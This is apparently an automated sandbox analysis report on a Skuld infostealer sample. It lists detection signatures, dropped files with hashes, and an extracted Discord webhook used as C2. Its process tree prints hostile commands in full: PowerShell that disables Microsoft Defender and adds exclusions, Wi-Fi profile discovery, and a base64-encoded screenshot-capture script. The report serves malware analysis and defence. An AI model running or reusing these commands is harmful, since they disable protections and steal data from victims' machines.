Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 03:04

General

  • Target
    b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
  • Size 11.7MB
  • Sample260815-dkr5mayta1
  • SHA256 b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • skuld

C2
  • https://discord.com/api/webhooks/1537811722486948001/rFCoHdBC74sTQK9lm9nCVddaKQd2W1xloaBEja-7_kp79qha2ga-Fa6Mf644i9VQp0NB

Signatures

  • Family: Skuld stealer

    An info stealer written in Go lang.

  • Detects SkuldStealer 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
    "C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6228
    • C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Modifies trusted root certificate store through registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5792
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
        3⤵
        • Views/modifies file attributes
        PID:2012
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1480
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5352
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:4836
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        PID:4800
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        PID:6884
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5600
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\ph1fsaax\CSCE844CE0DF8824EF294783A6AD13A5DC.TMP"
            5⤵
              PID:1920
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          3⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:3860
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          3⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:2836

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 44d8dc22122a4d87fc6875f94d1c20dfefb5afe3032b4dd675975513548368f6
          • MD5 SHA1 SHA512 TLSH

          RES6EAE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp
          • Size 1KB
          • SHA256 daa9d48654d68d1e2fa344c76927e4c4c5666c14f407aaa21f9af1c17848544a
          • MD5 SHA1 SHA512 TLSH

          RtkAud64.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
          • Size 10.6MB
          • SHA256 f7ef1ea60a91ca7b41d602847b4b8eb5e0b340a37b7961075c9bae4a1c69b55a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_b4cieksi.vcy.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4cieksi.vcy.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Display (1).png

          • Path C:\Users\Admin\AppData\Local\Temp\nRfnFcyy5e\Display (1).png
          • Size 546KB
          • SHA256 32c16c4d9878391ec79714f92cdb56165ea9d04c7aa26f973b829f3c72c3ac63
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ph1fsaax.dll

          • Path C:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.dll
          • Size 4KB
          • SHA256 952f4b5b2e7c00329133cfdeded94bcd8282f77e22d4130734e682543e43d57b
          • MD5 SHA1 SHA512 TLSH

          hosts

          • Path C:\Windows\System32\drivers\etc\hosts
          • Size 2KB
          • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
          • MD5 SHA1 SHA512 TLSH

          CSCE844CE0DF8824EF294783A6AD13A5DC.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\CSCE844CE0DF8824EF294783A6AD13A5DC.TMP
          • Size 652B
          • SHA256 1b51221104b3c043c62c003dc741d76566fe8a47fa82019bfa61eaabde630232
          • MD5 SHA1 SHA512 TLSH

          ph1fsaax.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.0.cs
          • Size 1004B
          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
          • MD5 SHA1 SHA512 TLSH

          ph1fsaax.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.cmdline
          • Size 607B
          • SHA256 929193e7012f7894fe668a0692f06e6c1d431a3170e2e1f3cf092e611f8e316b
          • MD5 SHA1 SHA512 TLSH

          memory/1480-17-0x0000023F416B0000-0x0000023F416BA000-memory.dmp

          memory/1480-16-0x0000023F41960000-0x0000023F41A12000-memory.dmp

          memory/1480-15-0x0000023F41690000-0x0000023F416AE000-memory.dmp

          memory/1480-10-0x0000023F415F0000-0x0000023F41612000-memory.dmp

          memory/5108-43-0x0000024372620000-0x0000024372628000-memory.dmp

          memory/6884-28-0x00000192A7450000-0x00000192A7502000-memory.dmp